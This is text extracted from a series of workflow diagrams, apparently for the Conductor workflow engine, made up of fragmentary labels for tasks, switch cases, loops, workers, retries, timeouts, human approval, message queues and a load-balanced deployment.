    + + + Start + + Task A + + Task B + + Task C + + End + + + + + Start + + Task A + + SwitchCase + + + Task B + Task C + + + + End + + + + Start + + Task A + + SwitchCase + + Task B + + Do While Loop + Task C + + + + + End + + + + + Start + + Task A + + SwitchCase + + + + Task B + Task D + Do While Loop + Task C + + + + + End + + + + Start + + Task A + + Worker AMicroservice + + Task B + + Worker BServerless + + Task C + + Worker CLegacy App + + End + + + + Start + + HTTP: Call API endpoint + + Event: Write to Kafka + + Inline: Execute JS + + End + + + + Start + + Search News Index + + Get Contextual Answer + + End + + + + Start + + Switch + + + DefaultApproval + HumanApproval + + + + End + + + + Start + + Task A + ! + Retry on failure + + Task B + ⏱ + Timeout afterx seconds + + Task C + + On failure + + End + + + + + Start + + Task A + + Task B + + Task C + FAILED + + + Restart + + + Rerun + + + Retry + + + + + + + + ConductorWorkflow Engine + + + + + Kafka + NATS + SQS + AMQP + + Webhooks + + + + Start + + Task A + + Switch + + Task D + + View inputs, + pull logs, + restart from + here + + + End + + + + Load Balancer + + + Instance 1API Server+ Sweeper + Instance 2API Server+ Sweeper + + + + + Shared Backends + Database · Queue · Index · Lock + +
    +